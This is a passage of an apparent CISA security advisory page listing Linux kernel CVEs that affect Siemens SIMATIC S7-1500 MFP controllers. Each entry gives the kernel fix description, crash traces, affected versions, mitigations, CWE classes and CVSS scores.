<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22994</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix reference count leak in bpf_prog_test_run_xdp() syzbot is reporting unregister_netdevice: waiting for sit0 to become free. Usage count = 2 problem. A debug printk() patch found that a refcount is obtained at xdp_convert_md_to_buff() from bpf_prog_test_run_xdp(). According to commit ec94670fcb3b ("bpf: Support specifying ingress via xdp_md context in BPF_PROG_TEST_RUN"), the refcount obtained by xdp_convert_md_to_buff() will be released by xdp_convert_buff_to_md(). Therefore, we can consider that the error handling path introduced by commit 1c1949982524 ("bpf: introduce frags support to bpf_prog_test_run_xdp()") forgot to call xdp_convert_buff_to_md().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22994">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23003</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ip6_tunnel: use skb_vlan_inet_prepare() in __ip6_tnl_rcv() Blamed commit did not take care of VLAN encapsulations as spotted by syzbot [1]. Use skb_vlan_inet_prepare() instead of pskb_inet_may_pull(). [1] BUG: KMSAN: uninit-value in __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline] BUG: KMSAN: uninit-value in INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline] BUG: KMSAN: uninit-value in IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321 __INET_ECN_decapsulate include/net/inet_ecn.h:253 [inline] INET_ECN_decapsulate include/net/inet_ecn.h:275 [inline] IP6_ECN_decapsulate+0x7a8/0x1fa0 include/net/inet_ecn.h:321 ip6ip6_dscp_ecn_decapsulate+0x16f/0x1b0 net/ipv6/ip6_tunnel.c:729 __ip6_tnl_rcv+0xed9/0x1b50 net/ipv6/ip6_tunnel.c:860 ip6_tnl_rcv+0xc3/0x100 net/ipv6/ip6_tunnel.c:903 gre_rcv+0x1529/0x1b90 net/ipv6/ip6_gre.c:-1 ip6_protocol_deliver_rcu+0x1c89/0x2c60 net/ipv6/ip6_input.c:438 ip6_input_finish+0x1f4/0x4a0 net/ipv6/ip6_input.c:489 NF_HOOK include/linux/netfilter.h:318 [inline] ip6_input+0x9c/0x330 net/ipv6/ip6_input.c:500 ip6_mc_input+0x7ca/0xc10 net/ipv6/ip6_input.c:590 dst_input include/net/dst.h:474 [inline] ip6_rcv_finish+0x958/0x990 net/ipv6/ip6_input.c:79 NF_HOOK include/linux/netfilter.h:318 [inline] ipv6_rcv+0xf1/0x3c0 net/ipv6/ip6_input.c:311 __netif_receive_skb_one_core net/core/dev.c:6139 [inline] __netif_receive_skb+0x1df/0xac0 net/core/dev.c:6252 netif_receive_skb_internal net/core/dev.c:6338 [inline] netif_receive_skb+0x57/0x630 net/core/dev.c:6397 tun_rx_batched+0x1df/0x980 drivers/net/tun.c:1485 tun_get_user+0x5c0e/0x6c60 drivers/net/tun.c:1953 tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0xbe2/0x15d0 fs/read_write.c:686 ksys_write fs/read_write.c:738 [inline] __do_sys_write fs/read_write.c:749 [inline] __se_sys_write fs/read_write.c:746 [inline] __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746 x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was created at: slab_post_alloc_hook mm/slub.c:4960 [inline] slab_alloc_node mm/slub.c:5263 [inline] kmem_cache_alloc_node_noprof+0x9e7/0x17a0 mm/slub.c:5315 kmalloc_reserve+0x13c/0x4b0 net/core/skbuff.c:586 __alloc_skb+0x805/0x1040 net/core/skbuff.c:690 alloc_skb include/linux/skbuff.h:1383 [inline] alloc_skb_with_frags+0xc5/0xa60 net/core/skbuff.c:6712 sock_alloc_send_pskb+0xacc/0xc60 net/core/sock.c:2995 tun_alloc_skb drivers/net/tun.c:1461 [inline] tun_get_user+0x1142/0x6c60 drivers/net/tun.c:1794 tun_chr_write_iter+0x3e9/0x5c0 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0xbe2/0x15d0 fs/read_write.c:686 ksys_write fs/read_write.c:738 [inline] __do_sys_write fs/read_write.c:749 [inline] __se_sys_write fs/read_write.c:746 [inline] __x64_sys_write+0x1fb/0x4d0 fs/read_write.c:746 x64_sys_call+0x30ab/0x3e70 arch/x86/include/generated/asm/syscalls_64.h:2 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd3/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f CPU: 0 UID: 0 PID: 6465 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(none) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23003">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/457.html">CWE-457 Use of Uninitialized Variable</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23005</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/fpu: Clear XSTATE_BV[i] in guest XSAVE state whenever XFD[i]=1 When loading guest XSAVE state via KVM_SET_XSAVE, and when updating XFD in response to a guest WRMSR, clear XFD-disabled features in the saved (or to be restored) XSTATE_BV to ensure KVM doesn't attempt to load state for features that are disabled via the guest's XFD. Because the kernel executes XRSTOR with the guest's XFD, saving XSTATE_BV[i]=1 with XFD[i]=1 will cause XRSTOR to #NM and panic the kernel. E.g. if fpu_update_guest_xfd() sets XFD without clearing XSTATE_BV: ------------[ cut here ]------------ WARNING: arch/x86/kernel/traps.c:1524 at exc_device_not_available+0x101/0x110, CPU#29: amx_test/848 Modules linked in: kvm_intel kvm irqbypass CPU: 29 UID: 1000 PID: 848 Comm: amx_test Not tainted 6.19.0-rc2-ffa07f7fd437-x86_amx_nm_xfd_non_init-vm #171 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 RIP: 0010:exc_device_not_available+0x101/0x110 Call Trace: asm_exc_device_not_available+0x1a/0x20 RIP: 0010:restore_fpregs_from_fpstate+0x36/0x90 switch_fpu_return+0x4a/0xb0 kvm_arch_vcpu_ioctl_run+0x1245/0x1e40 [kvm] kvm_vcpu_ioctl+0x2c3/0x8f0 [kvm] __x64_sys_ioctl+0x8f/0xd0 do_syscall_64+0x62/0x940 entry_SYSCALL_64_after_hwframe+0x4b/0x53 ---[ end trace 0000000000000000 ]--- This can happen if the guest executes WRMSR(MSR_IA32_XFD) to set XFD[18] = 1, and a host IRQ triggers kernel_fpu_begin() prior to the vmexit handler's call to fpu_update_guest_xfd(). and if userspace stuffs XSTATE_BV[i]=1 via KVM_SET_XSAVE: ------------[ cut here ]------------ WARNING: arch/x86/kernel/traps.c:1524 at exc_device_not_available+0x101/0x110, CPU#14: amx_test/867 Modules linked in: kvm_intel kvm irqbypass CPU: 14 UID: 1000 PID: 867 Comm: amx_test Not tainted 6.19.0-rc2-2dace9faccd6-x86_amx_nm_xfd_non_init-vm #168 NONE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 RIP: 0010:exc_device_not_available+0x101/0x110 Call Trace: asm_exc_device_not_available+0x1a/0x20 RIP: 0010:restore_fpregs_from_fpstate+0x36/0x90 fpu_swap_kvm_fpstate+0x6b/0x120 kvm_load_guest_fpu+0x30/0x80 [kvm] kvm_arch_vcpu_ioctl_run+0x85/0x1e40 [kvm] kvm_vcpu_ioctl+0x2c3/0x8f0 [kvm] __x64_sys_ioctl+0x8f/0xd0 do_syscall_64+0x62/0x940 entry_SYSCALL_64_after_hwframe+0x4b/0x53 ---[ end trace 0000000000000000 ]--- The new behavior is consistent with the AMX architecture. Per Intel's SDM, XSAVE saves XSTATE_BV as '0' for components that are disabled via XFD (and non-compacted XSAVE saves the initial configuration of the state component): If XSAVE, XSAVEC, XSAVEOPT, or XSAVES is saving the state component i, the instruction does not generate #NM when XCR0[i] = IA32_XFD[i] = 1; instead, it operates as if XINUSE[i] = 0 (and the state component was in its initial state): it saves bit i of XSTATE_BV field of the XSAVE header as 0; in addition, XSAVE saves the initial configuration of the state component (the other instructions do not save state component i). Alternatively, KVM could always do XRSTOR with XFD=0, e.g. by using a constant XFD based on the set of enabled features when XSAVEing for a struct fpu_guest. However, having XSTATE_BV[i]=1 for XFD-disabled features can only happen in the above interrupt case, or in similar scenarios involving preemption on preemptible kernels, because fpu_swap_kvm_fpstate()'s call to save_fpregs_to_fpstate() saves the outgoing FPU state with the current XFD; and that is (on all but the first WRMSR to XFD) the guest XFD. Therefore, XFD can only go out of sync with XSTATE_BV in the above interrupt case, or in similar scenarios involving preemption on preemptible kernels, and it we can consider it (de facto) part of KVM ABI that KVM_GET_XSAVE returns XSTATE_BV[i]=0 for XFD-disabled features. [Move clea ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23005">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23010</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix use-after-free in inet6_addr_del(). syzbot reported use-after-free of inet6_ifaddr in inet6_addr_del(). [0] The cited commit accidentally moved ipv6_del_addr() for mngtmpaddr before reading its ifp-&gt;flags for temporary addresses in inet6_addr_del(). Let's move ipv6_del_addr() down to fix the UAF. [0]: BUG: KASAN: slab-use-after-free in inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117 Read of size 4 at addr ffff88807b89c86c by task syz.3.1618/9593 CPU: 0 UID: 0 PID: 9593 Comm: syz.3.1618 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117 addrconf_del_ifaddr+0x11e/0x190 net/ipv6/addrconf.c:3181 inet6_ioctl+0x1e5/0x2b0 net/ipv6/af_inet6.c:582 sock_do_ioctl+0x118/0x280 net/socket.c:1254 sock_ioctl+0x227/0x6b0 net/socket.c:1375 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f164cf8f749 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f164de64038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007f164d1e5fa0 RCX: 00007f164cf8f749 RDX: 0000200000000000 RSI: 0000000000008936 RDI: 0000000000000003 RBP: 00007f164d013f91 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f164d1e6038 R14: 00007f164d1e5fa0 R15: 00007ffde15c8288 Allocated by task 9593: kasan_save_stack+0x33/0x60 mm/kasan/common.c:56 kasan_save_track+0x14/0x30 mm/kasan/common.c:77 poison_kmalloc_redzone mm/kasan/common.c:397 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:414 kmalloc_noprof include/linux/slab.h:957 [inline] kzalloc_noprof include/linux/slab.h:1094 [inline] ipv6_add_addr+0x4e3/0x2010 net/ipv6/addrconf.c:1120 inet6_addr_add+0x256/0x9b0 net/ipv6/addrconf.c:3050 addrconf_add_ifaddr+0x1fc/0x450 net/ipv6/addrconf.c:3160 inet6_ioctl+0x103/0x2b0 net/ipv6/af_inet6.c:580 sock_do_ioctl+0x118/0x280 net/socket.c:1254 sock_ioctl+0x227/0x6b0 net/socket.c:1375 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Freed by task 6099: kasan_save_stack+0x33/0x60 mm/kasan/common.c:56 kasan_save_track+0x14/0x30 mm/kasan/common.c:77 kasan_save_free_info+0x3b/0x60 mm/kasan/generic.c:584 poison_slab_object mm/kasan/common.c:252 [inline] __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:284 kasan_slab_free include/linux/kasan.h:234 [inline] slab_free_hook mm/slub.c:2540 [inline] slab_free_freelist_hook mm/slub.c:2569 [inline] slab_free_bulk mm/slub.c:6696 [inline] kmem_cache_free_bulk mm/slub.c:7383 [inline] kmem_cache_free_bulk+0x2bf/0x680 mm/slub.c:7362 kfree_bulk include/linux/slab.h:830 [inline] kvfree_rcu_bulk+0x1b7/0x1e0 mm/slab_common.c:1523 kvfree_rcu_drain_ready mm/slab_common.c:1728 [inline] kfree_rcu_monitor+0x1d0/0x2f0 mm/slab_common.c:1801 process_one_work+0x9ba/0x1b20 kernel/workqueue.c:3257 process_scheduled_works kernel/workqu ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23010">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23011</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv4: ip_gre: make ipgre_header() robust Analog to commit db5b4e39c4e6 ("ip6_gre: make ip6gre_header() robust") Over the years, syzbot found many ways to crash the kernel in ipgre_header() [1]. This involves team or bonding drivers ability to dynamically change their dev-&gt;needed_headroom and/or dev-&gt;hard_header_len In this particular crash mld_newpack() allocated an skb with a too small reserve/headroom, and by the time mld_sendpack() was called, syzbot managed to attach an ipgre device. [1] skbuff: skb_under_panic: text:ffffffff89ea3cb7 len:2030915468 put:2030915372 head:ffff888058b43000 data:ffff887fdfa6e194 tail:0x120 end:0x6c0 dev:team0 kernel BUG at net/core/skbuff.c:213 ! Oops: invalid opcode: 0000 [#1] SMP KASAN PTI CPU: 1 UID: 0 PID: 1322 Comm: kworker/1:9 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 Workqueue: mld mld_ifc_work RIP: 0010:skb_panic+0x157/0x160 net/core/skbuff.c:213 Call Trace: skb_under_panic net/core/skbuff.c:223 [inline] skb_push+0xc3/0xe0 net/core/skbuff.c:2641 ipgre_header+0x67/0x290 net/ipv4/ip_gre.c:897 dev_hard_header include/linux/netdevice.h:3436 [inline] neigh_connected_output+0x286/0x460 net/core/neighbour.c:1618 NF_HOOK_COND include/linux/netfilter.h:307 [inline] ip6_output+0x340/0x550 net/ipv6/ip6_output.c:247 NF_HOOK+0x9e/0x380 include/linux/netfilter.h:318 mld_sendpack+0x8d4/0xe60 net/ipv6/mcast.c:1855 mld_send_cr net/ipv6/mcast.c:2154 [inline] mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693 process_one_work kernel/workqueue.c:3257 [inline] process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340 worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421 kthread+0x711/0x8a0 kernel/kthread.c:463 ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23011">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/124.html">CWE-124 Buffer Underwrite ('Buffer Underflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23019</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: marvell: prestera: fix NULL dereference on devlink_alloc() failure devlink_alloc() may return NULL on allocation failure, but prestera_devlink_alloc() unconditionally calls devlink_priv() on the returned pointer. This leads to a NULL pointer dereference if devlink allocation fails. Add a check for a NULL devlink pointer and return NULL early to avoid the crash.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23019">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
